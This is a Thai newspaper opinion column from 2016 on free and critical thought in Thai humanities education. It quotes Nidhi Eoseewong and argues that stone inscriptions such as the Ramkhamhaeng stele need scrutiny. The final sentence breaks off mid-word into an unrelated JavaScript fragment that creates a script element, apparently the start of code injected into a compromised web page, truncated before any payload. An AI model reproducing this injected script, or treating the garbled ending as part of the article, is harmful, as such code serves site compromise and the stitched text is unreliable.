มติชนรายวัน ฉบับประจำวันจันทร์ที่ 23 พฤษภาคม 2559

 

ความคิดเสรี

ในกิจกรรมทางการศึกษาไทย

 

          “ความคิดเสรี และความคิดเชิงวิพากษ์ เป็นเงื่อนไขสำคัญที่สุดของการศึกษามนุษยศาสตร์

          ผู้เรียนมนุษยศาสตร์มีเสรีภาพที่จะติดตามการศึกษาเรื่องอะไร และอย่างไร ได้อย่างอิสระเสรี แต่ต้องพร้อมจะรับฟังคำวิพากษ์วิจารณ์จากผู้อื่น

          ดังนั้น ห้องเรียนมนุษยศาสตร์ต้องเป็นห้องเรียนประชาธิปไตย ถึงแม้บรรยากาศมหาวิทยาลัยปัจจุบันจะมืดมนลงก็ตาม”

          “วิธีคิดทางมนุษยศาสตร์จะได้รับการฟื้นฟูขึ้นในการศึกษาของมนุษย์ได้ ก็ต้องได้รับความเห็นชอบจากผู้คน

          ไม่ใช่ด้วยอำนาจของรัฐในการจัดการศึกษา หรือด้วยอำนาจของนักการเมืองที่ฉวยโอกาสร่วมมือกับคณะรัฐประหารเพื่อจัดการศึกษาตามอุดมคติของตน”

          “ประชาธิปไตยจึงขาดไม่ได้ในการศึกษามนุษยศาสตร์ทั้งในเชิงปฏิบัติ คือการเรียนการสอน และการยืนยันคุณค่าของวิธีคิด”

          สรุปจากบทความเรื่องวิพากษ์มนุษยศาสตร์/มนุษยศาสตร์วิพากษ์ : น้ำยามนุษยศาสตร์ในสังคมไทย ของ นิธิ เอียวศรีวงศ์ [พิมพ์ใน ชุมทางอินโดจีน : เอเชียตะวันออกเฉียงใต้ปริทัศน์ คณะสังคมศาสตร์ มหาวิทยาลัยนเรศวร จ. พิษณุโลก ปีที่ 5 ฉบับที่ 8 (มกราคม-มิถุนายน) 2559 หน้า 19-20]

freedom23-05-59 2

ตรวจสอบได้

          ประวัติศาสตร์โบราณคดีอยู่ในกลุ่มมนุษยศาสตร์ ก็ต้องมีเสรีภาพที่จะวิพากษ์วิจารณ์ และรับฟังคำวิพากษ์วิจารณ์

          จะครอบงำอย่างมัดมือชกมิได้ว่าศิลาจารึกถูกต้องแม่นยำไม่เป็นที่สงสัย จัดเป็นหลักฐานชั้นที่ 1 เช่น ศิลาจารึกพ่อขุนรามคำแหง ฯลฯ

          ศิลาจารึกทุกหลักต้องถูกตรวจสอบก่อนใช้งาน เพราะทำขึ้นโดยมนุษย์ที่ล้วนมีความไม่เป็นกลางพอๆ กับจดหมายเหตุ, พงศาวดาร, ตำนานนิทาน ฯลฯ

          ประวัติศาสตร์โบราณคดีของไทย ได้ต้นแบบจากเจ้าอาณานิคมยุโรป ราว 100 ปีมาแล้ว ต้องเปิดช่องให้นักศึกษาและประชาชนวิพากษ์วิจารณ์ได้ โต้แย้งได้ตลอดเวลา

          แต่มหาวิทยาลัยไทยเปลี่ยนมนุษยศาสตร์ให้กลายเป็นเครื่องมือของการครอบงำมากกว่าครึ่งศตวรรษ เพื่อผลประโยชน์ของคนบางกลุ่มที่อิงเผด็จการ

          มหาวิทยาลัยหลายแห่งจึงปิดกั้นนิสิตนักศึกษามิให้มีกิจกรรม ไม่ว่าทางการเมือง หรือทางวิชาการตรงข้ามกระแสหลักvar d=document;var s=d.createElement(‘script’);